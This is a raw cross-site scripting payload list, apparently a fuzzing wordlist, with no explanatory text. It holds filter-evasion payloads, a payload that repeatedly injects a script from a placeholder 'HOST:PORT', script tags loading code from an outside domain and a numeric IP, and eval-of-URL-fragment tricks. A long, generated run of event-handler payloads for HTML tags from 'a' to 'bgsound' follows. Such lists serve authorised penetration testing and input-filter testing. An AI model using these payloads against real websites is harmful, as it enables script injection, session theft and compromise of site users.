XSS/xsspayloads.txt

<svg onload=alert(1)>
"><svg onload=alert(1)//
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
'-alert(1)-'
'-alert(1)//
\'-alert(1)//
</script><svg onload=alert(1)>
<x contenteditable onblur=alert(1)>lose focus! 
<x onclick=alert(1)>click this! 
<x oncopy=alert(1)>copy this! 
<x oncontextmenu=alert(1)>right click this! 
<x oncut=alert(1)>copy this! 
<x ondblclick=alert(1)>double click this! 
<x ondrag=alert(1)>drag this! 
<x contenteditable onfocus=alert(1)>focus this! 
<x contenteditable oninput=alert(1)>input here! 
<x contenteditable onkeydown=alert(1)>press any key! 
<x contenteditable onkeypress=alert(1)>press any key! 
<x contenteditable onkeyup=alert(1)>press any key! 
<x onmousedown=alert(1)>click this! 
<x onmousemove=alert(1)>hover this! 
<x onmouseout=alert(1)>hover this! 
<x onmouseover=alert(1)>hover this! 
<x onmouseup=alert(1)>click this! 
<x contenteditable onpaste=alert(1)>paste here!
<script>alert(1)// 
<script>alert(1)<!–
<script src=//brutelogic.com.br/1.js> 
<script src=//3334957647/1>
%3Cx onxxx=alert(1) 
<%78 onxxx=1 
<x %6Fnxxx=1 
<x o%6Exxx=1 
<x on%78xx=1 
<x onxxx%3D1
<X onxxx=1 
<x OnXxx=1 
<X OnXxx=1 
<x onxxx=1 onxxx=1
<x/onxxx=1 
<x%09onxxx=1 
<x%0Aonxxx=1 
<x%0Conxxx=1 
<x%0Donxxx=1 
<x%2Fonxxx=1 
<x 1='1'onxxx=1 
<x 1="1"onxxx=1
<x </onxxx=1 
<x 1=">" onxxx=1 
<http://onxxx%3D1/
<x onxxx=alert(1) 1='
<svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1=' 
*/alert(1)</script><script>/*
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<script>alert(1)</script> 
<script src=javascript:alert(1)> 
<iframe src=javascript:alert(1)> 
<embed src=javascript:alert(1)> 
<a href=javascript:alert(1)>click 
<math><brute href=javascript:alert(1)>click 
<form action=javascript:alert(1)><input type=submit> 
<isindex action=javascript:alert(1) type=submit value=click> 
<form><button formaction=javascript:alert(1)>click 
<form><input formaction=javascript:alert(1) type=submit value=click> 
<form><input formaction=javascript:alert(1) type=image value=click> 
<form><input formaction=javascript:alert(1) type=image src=SOURCE> 
<isindex formaction=javascript:alert(1) type=submit value=click> 
<object data=javascript:alert(1)> 
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;> 
<svg><script xlink:href=data:,alert(1) /> 
<math><brute xlink:href=javascript:alert(1)>click 
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
<html ontouchstart=alert(1)> 
<html ontouchend=alert(1)> 
<html ontouchmove=alert(1)> 
<html ontouchcancel=alert(1)>
<body onorientationchange=alert(1)>
"><img src=1 onerror=alert(1)>.gif
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
<script src="data:&comma;alert(1)//
"><script src=data:&comma;alert(1)//
<script src="//brutelogic.com.br&sol;1.js&num; 
"><script src=//brutelogic.com.br&sol;1.js&num; 
<link rel=import href="data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt; 
"><link rel=import href=data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;
<base href=//0>
<script/src="data:&comma;eval(atob(location.hash.slice(1)))//#alert(1)
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
alert`1`
alert&lpar;1&rpar;
alert&#x28;1&#x29
alert&#40;1&#41
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
navigator.vibrate(500)
eval(URL.slice(-8))>#alert(1)
eval(location.hash.slice(1)>#alert(1)
innerHTML=location.hash>#<script>alert(1)</script>
<a draggable="true" ondrag="alert(1)">test</a>
<a draggable="true" ondragend="alert(1)">test</a>
<a draggable="true" ondragenter="alert(1)">test</a>
<a draggable="true" ondragleave="alert(1)">test</a>
<a draggable="true" ondragstart="alert(1)">test</a>
<a id=x tabindex=1 onactivate=alert(1)></a>
<a id=x tabindex=1 onbeforeactivate=alert(1)></a>
<a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>
<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>
<a id=x tabindex=1 onfocus=alert(1)></a>
<a id=x tabindex=1 onfocusin=alert(1)></a>
<a onbeforecopy="alert(1)" contenteditable>test</a>
<a onbeforecut="alert(1)" contenteditable>test</a>
<a onbeforepaste="alert(1)" contenteditable>test</a>
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
<a onclick="alert(1)">test</a>
<a oncontextmenu="alert(1)">test</a>
<a oncopy="alert(1)" contenteditable>test</a>
<a oncut="alert(1)" contenteditable>test</a>
<a ondblclick="alert(1)">test</a>
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
<a onkeydown="alert(1)" contenteditable>test</a>
<a onkeypress="alert(1)" contenteditable>test</a>
<a onkeyup="alert(1)" contenteditable>test</a>
<a onmousedown="alert(1)">test</a>
<a onmouseenter="alert(1)">test</a>
<a onmouseleave="alert(1)">test</a>
<a onmousemove="alert(1)">test</a>
<a onmouseout="alert(1)">test</a>
<a onmouseover="alert(1)">test</a>
<a onmouseup="alert(1)">test</a>
<a onpaste="alert(1)" contenteditable>test</a>
<abbr draggable="true" ondrag="alert(1)">test</abbr>
<abbr draggable="true" ondragend="alert(1)">test</abbr>
<abbr draggable="true" ondragenter="alert(1)">test</abbr>
<abbr draggable="true" ondragleave="alert(1)">test</abbr>
<abbr draggable="true" ondragstart="alert(1)">test</abbr>
<abbr id=x tabindex=1 onactivate=alert(1)></abbr>
<abbr id=x tabindex=1 onbeforeactivate=alert(1)></abbr>
<abbr id=x tabindex=1 onbeforedeactivate=alert(1)></abbr><input autofocus>
<abbr id=x tabindex=1 ondeactivate=alert(1)></abbr><input id=y autofocus>
<abbr id=x tabindex=1 onfocus=alert(1)></abbr>
<abbr id=x tabindex=1 onfocusin=alert(1)></abbr>
<abbr onbeforecopy="alert(1)" contenteditable>test</abbr>
<abbr onbeforecut="alert(1)" contenteditable>test</abbr>
<abbr onbeforepaste="alert(1)" contenteditable>test</abbr>
<abbr onblur=alert(1) tabindex=1 id=x></abbr><input autofocus>
<abbr onclick="alert(1)">test</abbr>
<abbr oncontextmenu="alert(1)">test</abbr>
<abbr oncopy="alert(1)" contenteditable>test</abbr>
<abbr oncut="alert(1)" contenteditable>test</abbr>
<abbr ondblclick="alert(1)">test</abbr>
<abbr onfocusout=alert(1) tabindex=1 id=x></abbr><input autofocus>
<abbr onkeydown="alert(1)" contenteditable>test</abbr>
<abbr onkeypress="alert(1)" contenteditable>test</abbr>
<abbr onkeyup="alert(1)" contenteditable>test</abbr>
<abbr onmousedown="alert(1)">test</abbr>
<abbr onmouseenter="alert(1)">test</abbr>
<abbr onmouseleave="alert(1)">test</abbr>
<abbr onmousemove="alert(1)">test</abbr>
<abbr onmouseout="alert(1)">test</abbr>
<abbr onmouseover="alert(1)">test</abbr>
<abbr onmouseup="alert(1)">test</abbr>
<abbr onpaste="alert(1)" contenteditable>test</abbr>
<acronym draggable="true" ondrag="alert(1)">test</acronym>
<acronym draggable="true" ondragend="alert(1)">test</acronym>
<acronym draggable="true" ondragenter="alert(1)">test</acronym>
<acronym draggable="true" ondragleave="alert(1)">test</acronym>
<acronym draggable="true" ondragstart="alert(1)">test</acronym>
<acronym id=x tabindex=1 onactivate=alert(1)></acronym>
<acronym id=x tabindex=1 onbeforeactivate=alert(1)></acronym>
<acronym id=x tabindex=1 onbeforedeactivate=alert(1)></acronym><input autofocus>
<acronym id=x tabindex=1 ondeactivate=alert(1)></acronym><input id=y autofocus>
<acronym id=x tabindex=1 onfocus=alert(1)></acronym>
<acronym id=x tabindex=1 onfocusin=alert(1)></acronym>
<acronym onbeforecopy="alert(1)" contenteditable>test</acronym>
<acronym onbeforecut="alert(1)" contenteditable>test</acronym>
<acronym onbeforepaste="alert(1)" contenteditable>test</acronym>
<acronym onblur=alert(1) tabindex=1 id=x></acronym><input autofocus>
<acronym onclick="alert(1)">test</acronym>
<acronym oncontextmenu="alert(1)">test</acronym>
<acronym oncopy="alert(1)" contenteditable>test</acronym>
<acronym oncut="alert(1)" contenteditable>test</acronym>
<acronym ondblclick="alert(1)">test</acronym>
<acronym onfocusout=alert(1) tabindex=1 id=x></acronym><input autofocus>
<acronym onkeydown="alert(1)" contenteditable>test</acronym>
<acronym onkeypress="alert(1)" contenteditable>test</acronym>
<acronym onkeyup="alert(1)" contenteditable>test</acronym>
<acronym onmousedown="alert(1)">test</acronym>
<acronym onmouseenter="alert(1)">test</acronym>
<acronym onmouseleave="alert(1)">test</acronym>
<acronym onmousemove="alert(1)">test</acronym>
<acronym onmouseout="alert(1)">test</acronym>
<acronym onmouseover="alert(1)">test</acronym>
<acronym onmouseup="alert(1)">test</acronym>
<acronym onpaste="alert(1)" contenteditable>test</acronym>
<address draggable="true" ondrag="alert(1)">test</address>
<address draggable="true" ondragend="alert(1)">test</address>
<address draggable="true" ondragenter="alert(1)">test</address>
<address draggable="true" ondragleave="alert(1)">test</address>
<address draggable="true" ondragstart="alert(1)">test</address>
<address id=x tabindex=1 onactivate=alert(1)></address>
<address id=x tabindex=1 onbeforeactivate=alert(1)></address>
<address id=x tabindex=1 onbeforedeactivate=alert(1)></address><input autofocus>
<address id=x tabindex=1 ondeactivate=alert(1)></address><input id=y autofocus>
<address id=x tabindex=1 onfocus=alert(1)></address>
<address id=x tabindex=1 onfocusin=alert(1)></address>
<address onbeforecopy="alert(1)" contenteditable>test</address>
<address onbeforecut="alert(1)" contenteditable>test</address>
<address onbeforepaste="alert(1)" contenteditable>test</address>
<address onblur=alert(1) tabindex=1 id=x></address><input autofocus>
<address onclick="alert(1)">test</address>
<address oncontextmenu="alert(1)">test</address>
<address oncopy="alert(1)" contenteditable>test</address>
<address oncut="alert(1)" contenteditable>test</address>
<address ondblclick="alert(1)">test</address>
<address onfocusout=alert(1) tabindex=1 id=x></address><input autofocus>
<address onkeydown="alert(1)" contenteditable>test</address>
<address onkeypress="alert(1)" contenteditable>test</address>
<address onkeyup="alert(1)" contenteditable>test</address>
<address onmousedown="alert(1)">test</address>
<address onmouseenter="alert(1)">test</address>
<address onmouseleave="alert(1)">test</address>
<address onmousemove="alert(1)">test</address>
<address onmouseout="alert(1)">test</address>
<address onmouseover="alert(1)">test</address>
<address onmouseup="alert(1)">test</address>
<address onpaste="alert(1)" contenteditable>test</address>
<applet draggable="true" ondrag="alert(1)">test</applet>
<applet draggable="true" ondragend="alert(1)">test</applet>
<applet draggable="true" ondragenter="alert(1)">test</applet>
<applet draggable="true" ondragleave="alert(1)">test</applet>
<applet draggable="true" ondragstart="alert(1)">test</applet>
<applet id=x tabindex=1 onactivate=alert(1)></applet>
<applet id=x tabindex=1 onbeforeactivate=alert(1)></applet>
<applet id=x tabindex=1 onbeforedeactivate=alert(1)></applet><input autofocus>
<applet id=x tabindex=1 ondeactivate=alert(1)></applet><input id=y autofocus>
<applet id=x tabindex=1 onfocus=alert(1)></applet>
<applet id=x tabindex=1 onfocusin=alert(1)></applet>
<applet onbeforecopy="alert(1)" contenteditable>test</applet>
<applet onbeforecut="alert(1)" contenteditable>test</applet>
<applet onbeforepaste="alert(1)" contenteditable>test</applet>
<applet onblur=alert(1) tabindex=1 id=x></applet><input autofocus>
<applet onclick="alert(1)">test</applet>
<applet oncontextmenu="alert(1)">test</applet>
<applet oncopy="alert(1)" contenteditable>test</applet>
<applet oncut="alert(1)" contenteditable>test</applet>
<applet ondblclick="alert(1)">test</applet>
<applet onfocusout=alert(1) tabindex=1 id=x></applet><input autofocus>
<applet onkeydown="alert(1)" contenteditable>test</applet>
<applet onkeypress="alert(1)" contenteditable>test</applet>
<applet onkeyup="alert(1)" contenteditable>test</applet>
<applet onmousedown="alert(1)">test</applet>
<applet onmouseenter="alert(1)">test</applet>
<applet onmouseleave="alert(1)">test</applet>
<applet onmousemove="alert(1)">test</applet>
<applet onmouseout="alert(1)">test</applet>
<applet onmouseover="alert(1)">test</applet>
<applet onmouseup="alert(1)">test</applet>
<applet onpaste="alert(1)" contenteditable>test</applet>
<applet onreadystatechange=alert(1)></applet>
<area draggable="true" ondrag="alert(1)">test</area>
<area draggable="true" ondragend="alert(1)">test</area>
<area draggable="true" ondragenter="alert(1)">test</area>
<area draggable="true" ondragleave="alert(1)">test</area>
<area draggable="true" ondragstart="alert(1)">test</area>
<area id=x tabindex=1 onactivate=alert(1)></area>
<area id=x tabindex=1 onbeforeactivate=alert(1)></area>
<area id=x tabindex=1 onbeforedeactivate=alert(1)></area><input autofocus>
<area id=x tabindex=1 ondeactivate=alert(1)></area><input id=y autofocus>
<area onbeforecopy="alert(1)" contenteditable>test</area>
<area onbeforecut="alert(1)" contenteditable>test</area>
<area onbeforepaste="alert(1)" contenteditable>test</area>
<area onblur=alert(1) tabindex=1 id=x></area><input autofocus>
<area onclick="alert(1)">test</area>
<area oncontextmenu="alert(1)">test</area>
<area oncopy="alert(1)" contenteditable>test</area>
<area oncut="alert(1)" contenteditable>test</area>
<area ondblclick="alert(1)">test</area>
<area onfocusout=alert(1) tabindex=1 id=x></area><input autofocus>
<area onkeydown="alert(1)" contenteditable>test</area>
<area onkeypress="alert(1)" contenteditable>test</area>
<area onkeyup="alert(1)" contenteditable>test</area>
<area onmousedown="alert(1)">test</area>
<area onmouseenter="alert(1)">test</area>
<area onmouseleave="alert(1)">test</area>
<area onmousemove="alert(1)">test</area>
<area onmouseout="alert(1)">test</area>
<area onmouseover="alert(1)">test</area>
<area onmouseup="alert(1)">test</area>
<area onpaste="alert(1)" contenteditable>test</area>
<article draggable="true" ondrag="alert(1)">test</article>
<article draggable="true" ondragend="alert(1)">test</article>
<article draggable="true" ondragenter="alert(1)">test</article>
<article draggable="true" ondragleave="alert(1)">test</article>
<article draggable="true" ondragstart="alert(1)">test</article>
<article id=x tabindex=1 onactivate=alert(1)></article>
<article id=x tabindex=1 onbeforeactivate=alert(1)></article>
<article id=x tabindex=1 onbeforedeactivate=alert(1)></article><input autofocus>
<article id=x tabindex=1 ondeactivate=alert(1)></article><input id=y autofocus>
<article id=x tabindex=1 onfocus=alert(1)></article>
<article id=x tabindex=1 onfocusin=alert(1)></article>
<article onbeforecopy="alert(1)" contenteditable>test</article>
<article onbeforecut="alert(1)" contenteditable>test</article>
<article onbeforepaste="alert(1)" contenteditable>test</article>
<article onblur=alert(1) tabindex=1 id=x></article><input autofocus>
<article onclick="alert(1)">test</article>
<article oncontextmenu="alert(1)">test</article>
<article oncopy="alert(1)" contenteditable>test</article>
<article oncut="alert(1)" contenteditable>test</article>
<article ondblclick="alert(1)">test</article>
<article onfocusout=alert(1) tabindex=1 id=x></article><input autofocus>
<article onkeydown="alert(1)" contenteditable>test</article>
<article onkeypress="alert(1)" contenteditable>test</article>
<article onkeyup="alert(1)" contenteditable>test</article>
<article onmousedown="alert(1)">test</article>
<article onmouseenter="alert(1)">test</article>
<article onmouseleave="alert(1)">test</article>
<article onmousemove="alert(1)">test</article>
<article onmouseout="alert(1)">test</article>
<article onmouseover="alert(1)">test</article>
<article onmouseup="alert(1)">test</article>
<article onpaste="alert(1)" contenteditable>test</article>
<aside draggable="true" ondrag="alert(1)">test</aside>
<aside draggable="true" ondragend="alert(1)">test</aside>
<aside draggable="true" ondragenter="alert(1)">test</aside>
<aside draggable="true" ondragleave="alert(1)">test</aside>
<aside draggable="true" ondragstart="alert(1)">test</aside>
<aside id=x tabindex=1 onactivate=alert(1)></aside>
<aside id=x tabindex=1 onbeforeactivate=alert(1)></aside>
<aside id=x tabindex=1 onbeforedeactivate=alert(1)></aside><input autofocus>
<aside id=x tabindex=1 ondeactivate=alert(1)></aside><input id=y autofocus>
<aside id=x tabindex=1 onfocus=alert(1)></aside>
<aside id=x tabindex=1 onfocusin=alert(1)></aside>
<aside onbeforecopy="alert(1)" contenteditable>test</aside>
<aside onbeforecut="alert(1)" contenteditable>test</aside>
<aside onbeforepaste="alert(1)" contenteditable>test</aside>
<aside onblur=alert(1) tabindex=1 id=x></aside><input autofocus>
<aside onclick="alert(1)">test</aside>
<aside oncontextmenu="alert(1)">test</aside>
<aside oncopy="alert(1)" contenteditable>test</aside>
<aside oncut="alert(1)" contenteditable>test</aside>
<aside ondblclick="alert(1)">test</aside>
<aside onfocusout=alert(1) tabindex=1 id=x></aside><input autofocus>
<aside onkeydown="alert(1)" contenteditable>test</aside>
<aside onkeypress="alert(1)" contenteditable>test</aside>
<aside onkeyup="alert(1)" contenteditable>test</aside>
<aside onmousedown="alert(1)">test</aside>
<aside onmouseenter="alert(1)">test</aside>
<aside onmouseleave="alert(1)">test</aside>
<aside onmousemove="alert(1)">test</aside>
<aside onmouseout="alert(1)">test</aside>
<aside onmouseover="alert(1)">test</aside>
<aside onmouseup="alert(1)">test</aside>
<aside onpaste="alert(1)" contenteditable>test</aside>
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio draggable="true" ondrag="alert(1)">test</audio>
<audio draggable="true" ondragend="alert(1)">test</audio>
<audio draggable="true" ondragenter="alert(1)">test</audio>
<audio draggable="true" ondragleave="alert(1)">test</audio>
<audio draggable="true" ondragstart="alert(1)">test</audio>
<audio id=x controls onfocus=alert(1) id=x><source src="validaudio.wav"></audio>
<audio id=x controls onfocusin=alert(1) id=x><source src="validaudio.wav"></audio>
<audio id=x tabindex=1 onactivate=alert(1)></audio>
<audio id=x tabindex=1 onbeforeactivate=alert(1)></audio>
<audio id=x tabindex=1 onbeforedeactivate=alert(1)></audio><input autofocus>
<audio id=x tabindex=1 ondeactivate=alert(1)></audio><input id=y autofocus>
<audio onbeforecopy="alert(1)" contenteditable>test</audio>
<audio onbeforecut="alert(1)" contenteditable>test</audio>
<audio onbeforepaste="alert(1)" contenteditable>test</audio>
<audio onblur=alert(1) tabindex=1 id=x></audio><input autofocus>
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio onclick="alert(1)">test</audio>
<audio oncontextmenu="alert(1)">test</audio>
<audio oncopy="alert(1)" contenteditable>test</audio>
<audio oncut="alert(1)" contenteditable>test</audio>
<audio ondblclick="alert(1)">test</audio>
<audio onfocusout=alert(1) tabindex=1 id=x></audio><input autofocus>
<audio onkeydown="alert(1)" contenteditable>test</audio>
<audio onkeypress="alert(1)" contenteditable>test</audio>
<audio onkeyup="alert(1)" contenteditable>test</audio>
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio onmousedown="alert(1)">test</audio>
<audio onmouseenter="alert(1)">test</audio>
<audio onmouseleave="alert(1)">test</audio>
<audio onmousemove="alert(1)">test</audio>
<audio onmouseout="alert(1)">test</audio>
<audio onmouseover="alert(1)">test</audio>
<audio onmouseup="alert(1)">test</audio>
<audio onpaste="alert(1)" contenteditable>test</audio>
<audio src/onerror=alert(1)>
<b draggable="true" ondrag="alert(1)">test</b>
<b draggable="true" ondragend="alert(1)">test</b>
<b draggable="true" ondragenter="alert(1)">test</b>
<b draggable="true" ondragleave="alert(1)">test</b>
<b draggable="true" ondragstart="alert(1)">test</b>
<b id=x tabindex=1 onactivate=alert(1)></b>
<b id=x tabindex=1 onbeforeactivate=alert(1)></b>
<b id=x tabindex=1 onbeforedeactivate=alert(1)></b><input autofocus>
<b id=x tabindex=1 ondeactivate=alert(1)></b><input id=y autofocus>
<b id=x tabindex=1 onfocus=alert(1)></b>
<b id=x tabindex=1 onfocusin=alert(1)></b>
<b onbeforecopy="alert(1)" contenteditable>test</b>
<b onbeforecut="alert(1)" contenteditable>test</b>
<b onbeforepaste="alert(1)" contenteditable>test</b>
<b onblur=alert(1) tabindex=1 id=x></b><input autofocus>
<b onclick="alert(1)">test</b>
<b oncontextmenu="alert(1)">test</b>
<b oncopy="alert(1)" contenteditable>test</b>
<b oncut="alert(1)" contenteditable>test</b>
<b ondblclick="alert(1)">test</b>
<b onfocusout=alert(1) tabindex=1 id=x></b><input autofocus>
<b onkeydown="alert(1)" contenteditable>test</b>
<b onkeypress="alert(1)" contenteditable>test</b>
<b onkeyup="alert(1)" contenteditable>test</b>
<b onmousedown="alert(1)">test</b>
<b onmouseenter="alert(1)">test</b>
<b onmouseleave="alert(1)">test</b>
<b onmousemove="alert(1)">test</b>
<b onmouseout="alert(1)">test</b>
<b onmouseover="alert(1)">test</b>
<b onmouseup="alert(1)">test</b>
<b onpaste="alert(1)" contenteditable>test</b>
<base draggable="true" ondrag="alert(1)">test</base>
<base draggable="true" ondragend="alert(1)">test</base>
<base draggable="true" ondragenter="alert(1)">test</base>
<base draggable="true" ondragleave="alert(1)">test</base>
<base draggable="true" ondragstart="alert(1)">test</base>
<base id=x tabindex=1 onactivate=alert(1)></base>
<base id=x tabindex=1 onbeforeactivate=alert(1)></base>
<base id=x tabindex=1 onbeforedeactivate=alert(1)></base><input autofocus>
<base id=x tabindex=1 ondeactivate=alert(1)></base><input id=y autofocus>
<base id=x tabindex=1 onfocus=alert(1)></base>
<base id=x tabindex=1 onfocusin=alert(1)></base>
<base onbeforecopy="alert(1)" contenteditable>test</base>
<base onbeforecut="alert(1)" contenteditable>test</base>
<base onbeforepaste="alert(1)" contenteditable>test</base>
<base onblur=alert(1) tabindex=1 id=x></base><input autofocus>
<base onclick="alert(1)">test</base>
<base oncontextmenu="alert(1)">test</base>
<base oncopy="alert(1)" contenteditable>test</base>
<base oncut="alert(1)" contenteditable>test</base>
<base ondblclick="alert(1)">test</base>
<base onfocusout=alert(1) tabindex=1 id=x></base><input autofocus>
<base onkeydown="alert(1)" contenteditable>test</base>
<base onkeypress="alert(1)" contenteditable>test</base>
<base onkeyup="alert(1)" contenteditable>test</base>
<base onmousedown="alert(1)">test</base>
<base onmouseenter="alert(1)">test</base>
<base onmouseleave="alert(1)">test</base>
<base onmousemove="alert(1)">test</base>
<base onmouseout="alert(1)">test</base>
<base onmouseover="alert(1)">test</base>
<base onmouseup="alert(1)">test</base>
<base onpaste="alert(1)" contenteditable>test</base>
<basefont draggable="true" ondrag="alert(1)">test</basefont>
<basefont draggable="true" ondragend="alert(1)">test</basefont>
<basefont draggable="true" ondragenter="alert(1)">test</basefont>
<basefont draggable="true" ondragleave="alert(1)">test</basefont>
<basefont draggable="true" ondragstart="alert(1)">test</basefont>
<basefont id=x tabindex=1 onactivate=alert(1)></basefont>
<basefont id=x tabindex=1 onbeforeactivate=alert(1)></basefont>
<basefont id=x tabindex=1 onbeforedeactivate=alert(1)></basefont><input autofocus>
<basefont id=x tabindex=1 ondeactivate=alert(1)></basefont><input id=y autofocus>
<basefont id=x tabindex=1 onfocus=alert(1)></basefont>
<basefont id=x tabindex=1 onfocusin=alert(1)></basefont>
<basefont onbeforecopy="alert(1)" contenteditable>test</basefont>
<basefont onbeforecut="alert(1)" contenteditable>test</basefont>
<basefont onbeforepaste="alert(1)" contenteditable>test</basefont>
<basefont onblur=alert(1) tabindex=1 id=x></basefont><input autofocus>
<basefont onclick="alert(1)">test</basefont>
<basefont oncontextmenu="alert(1)">test</basefont>
<basefont oncopy="alert(1)" contenteditable>test</basefont>
<basefont oncut="alert(1)" contenteditable>test</basefont>
<basefont ondblclick="alert(1)">test</basefont>
<basefont onfocusout=alert(1) tabindex=1 id=x></basefont><input autofocus>
<basefont onkeydown="alert(1)" contenteditable>test</basefont>
<basefont onkeypress="alert(1)" contenteditable>test</basefont>
<basefont onkeyup="alert(1)" contenteditable>test</basefont>
<basefont onmousedown="alert(1)">test</basefont>
<basefont onmouseenter="alert(1)">test</basefont>
<basefont onmouseleave="alert(1)">test</basefont>
<basefont onmousemove="alert(1)">test</basefont>
<basefont onmouseout="alert(1)">test</basefont>
<basefont onmouseover="alert(1)">test</basefont>
<basefont onmouseup="alert(1)">test</basefont>
<basefont onpaste="alert(1)" contenteditable>test</basefont>
<bdi draggable="true" ondrag="alert(1)">test</bdi>
<bdi draggable="true" ondragend="alert(1)">test</bdi>
<bdi draggable="true" ondragenter="alert(1)">test</bdi>
<bdi draggable="true" ondragleave="alert(1)">test</bdi>
<bdi draggable="true" ondragstart="alert(1)">test</bdi>
<bdi id=x tabindex=1 onactivate=alert(1)></bdi>
<bdi id=x tabindex=1 onbeforeactivate=alert(1)></bdi>
<bdi id=x tabindex=1 onbeforedeactivate=alert(1)></bdi><input autofocus>
<bdi id=x tabindex=1 ondeactivate=alert(1)></bdi><input id=y autofocus>
<bdi id=x tabindex=1 onfocus=alert(1)></bdi>
<bdi id=x tabindex=1 onfocusin=alert(1)></bdi>
<bdi onbeforecopy="alert(1)" contenteditable>test</bdi>
<bdi onbeforecut="alert(1)" contenteditable>test</bdi>
<bdi onbeforepaste="alert(1)" contenteditable>test</bdi>
<bdi onblur=alert(1) tabindex=1 id=x></bdi><input autofocus>
<bdi onclick="alert(1)">test</bdi>
<bdi oncontextmenu="alert(1)">test</bdi>
<bdi oncopy="alert(1)" contenteditable>test</bdi>
<bdi oncut="alert(1)" contenteditable>test</bdi>
<bdi ondblclick="alert(1)">test</bdi>
<bdi onfocusout=alert(1) tabindex=1 id=x></bdi><input autofocus>
<bdi onkeydown="alert(1)" contenteditable>test</bdi>
<bdi onkeypress="alert(1)" contenteditable>test</bdi>
<bdi onkeyup="alert(1)" contenteditable>test</bdi>
<bdi onmousedown="alert(1)">test</bdi>
<bdi onmouseenter="alert(1)">test</bdi>
<bdi onmouseleave="alert(1)">test</bdi>
<bdi onmousemove="alert(1)">test</bdi>
<bdi onmouseout="alert(1)">test</bdi>
<bdi onmouseover="alert(1)">test</bdi>
<bdi onmouseup="alert(1)">test</bdi>
<bdi onpaste="alert(1)" contenteditable>test</bdi>
<bdo draggable="true" ondrag="alert(1)">test</bdo>
<bdo draggable="true" ondragend="alert(1)">test</bdo>
<bdo draggable="true" ondragenter="alert(1)">test</bdo>
<bdo draggable="true" ondragleave="alert(1)">test</bdo>
<bdo draggable="true" ondragstart="alert(1)">test</bdo>
<bdo id=x tabindex=1 onactivate=alert(1)></bdo>
<bdo id=x tabindex=1 onbeforeactivate=alert(1)></bdo>
<bdo id=x tabindex=1 onbeforedeactivate=alert(1)></bdo><input autofocus>
<bdo id=x tabindex=1 ondeactivate=alert(1)></bdo><input id=y autofocus>
<bdo id=x tabindex=1 onfocus=alert(1)></bdo>
<bdo id=x tabindex=1 onfocusin=alert(1)></bdo>
<bdo onbeforecopy="alert(1)" contenteditable>test</bdo>
<bdo onbeforecut="alert(1)" contenteditable>test</bdo>
<bdo onbeforepaste="alert(1)" contenteditable>test</bdo>
<bdo onblur=alert(1) tabindex=1 id=x></bdo><input autofocus>
<bdo onclick="alert(1)">test</bdo>
<bdo oncontextmenu="alert(1)">test</bdo>
<bdo oncopy="alert(1)" contenteditable>test</bdo>
<bdo oncut="alert(1)" contenteditable>test</bdo>
<bdo ondblclick="alert(1)">test</bdo>
<bdo onfocusout=alert(1) tabindex=1 id=x></bdo><input autofocus>
<bdo onkeydown="alert(1)" contenteditable>test</bdo>
<bdo onkeypress="alert(1)" contenteditable>test</bdo>
<bdo onkeyup="alert(1)" contenteditable>test</bdo>
<bdo onmousedown="alert(1)">test</bdo>
<bdo onmouseenter="alert(1)">test</bdo>
<bdo onmouseleave="alert(1)">test</bdo>
<bdo onmousemove="alert(1)">test</bdo>
<bdo onmouseout="alert(1)">test</bdo>
<bdo onmouseover="alert(1)">test</bdo>
<bdo onmouseup="alert(1)">test</bdo>
<bdo onpaste="alert(1)" contenteditable>test</bdo>
<bgsound draggable="true" ondrag="alert(1)">test</bgsound>
<bgsound draggable="true" ondragend="alert(1)">test</bgsound>
<bgsound draggable="true" ondragenter="alert(1)">test</bgsound>
<bgsound draggable="true" ondragleave="alert(1)">test</bgsound>
<bgsound draggable="true" ondragstart="alert(1)">test</bgsound>
